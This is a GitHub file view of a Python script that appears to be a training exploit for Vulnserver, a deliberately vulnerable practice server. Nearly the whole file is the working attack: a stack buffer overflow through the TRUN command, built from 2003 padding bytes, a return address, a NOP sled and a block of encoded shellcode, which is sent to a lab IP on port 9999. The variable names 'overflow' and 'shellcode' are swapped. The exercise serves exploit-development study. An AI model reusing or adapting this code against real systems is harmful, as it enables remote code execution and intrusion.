-
Notifications
You must be signed in to change notification settings - Fork 0
/
vulnserver_exploit.py
45 lines (39 loc) · 1.89 KB
/
vulnserver_exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/python3
import sys, socket
from time import sleep
overflow = (b"\xda\xc9\xbd\xe0\x75\x8a\xb9\xd9\x74\x24\xf4\x58\x2b\xc9"
b"\xb1\x52\x83\xc0\x04\x31\x68\x13\x03\x88\x66\x68\x4c\xb4"
b"\x61\xee\xaf\x44\x72\x8f\x26\xa1\x43\x8f\x5d\xa2\xf4\x3f"
b"\x15\xe6\xf8\xb4\x7b\x12\x8a\xb9\x53\x15\x3b\x77\x82\x18"
b"\xbc\x24\xf6\x3b\x3e\x37\x2b\x9b\x7f\xf8\x3e\xda\xb8\xe5"
b"\xb3\x8e\x11\x61\x61\x3e\x15\x3f\xba\xb5\x65\xd1\xba\x2a"
b"\x3d\xd0\xeb\xfd\x35\x8b\x2b\xfc\x9a\xa7\x65\xe6\xff\x82"
b"\x3c\x9d\x34\x78\xbf\x77\x05\x81\x6c\xb6\xa9\x70\x6c\xff"
b"\x0e\x6b\x1b\x09\x6d\x16\x1c\xce\x0f\xcc\xa9\xd4\xa8\x87"
b"\x0a\x30\x48\x4b\xcc\xb3\x46\x20\x9a\x9b\x4a\xb7\x4f\x90"
b"\x77\x3c\x6e\x76\xfe\x06\x55\x52\x5a\xdc\xf4\xc3\x06\xb3"
b"\x09\x13\xe9\x6c\xac\x58\x04\x78\xdd\x03\x41\x4d\xec\xbb"
b"\x91\xd9\x67\xc8\xa3\x46\xdc\x46\x88\x0f\xfa\x91\xef\x25"
b"\xba\x0d\x0e\xc6\xbb\x04\xd5\x92\xeb\x3e\xfc\x9a\x67\xbe"
b"\x01\x4f\x27\xee\xad\x20\x88\x5e\x0e\x91\x60\xb4\x81\xce"
b"\x91\xb7\x4b\x67\x3b\x42\x1c\x82\xbc\x4e\xda\xfa\xbe\x4e"
b"\xe3\x41\x37\xa8\x89\xa5\x1e\x63\x26\x5f\x3b\xff\xd7\xa0"
b"\x91\x7a\xd7\x2b\x16\x7b\x96\xdb\x53\x6f\x4f\x2c\x2e\xcd"
b"\xc6\x33\x84\x79\x84\xa6\x43\x79\xc3\xda\xdb\x2e\x84\x2d"
b"\x12\xba\x38\x17\x8c\xd8\xc0\xc1\xf7\x58\x1f\x32\xf9\x61"
b"\xd2\x0e\xdd\x71\x2a\x8e\x59\x25\xe2\xd9\x37\x93\x44\xb0"
b"\xf9\x4d\x1f\x6f\x50\x19\xe6\x43\x63\x5f\xe7\x89\x15\xbf"
b"\x56\x64\x60\xc0\x57\xe0\x64\xb9\x85\x90\x8b\x10\x0e\xb0"
b"\x69\xb0\x7b\x59\x34\x51\xc6\x04\xc7\x8c\x05\x31\x44\x24"
b"\xf6\xc6\x54\x4d\xf3\x83\xd2\xbe\x89\x9c\xb6\xc0\x3e\x9c"
b"\x92")
shellcode = b"A" * 2003 + b"\xaf\x11\x50\x62" + b"\x90" * 32 + overflow
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.0.2.7',9999))
payload = b"TRUN /.:/" + shellcode
s.send((payload))
s.close()
except:
print ("Error connecting to server")
sys.exit()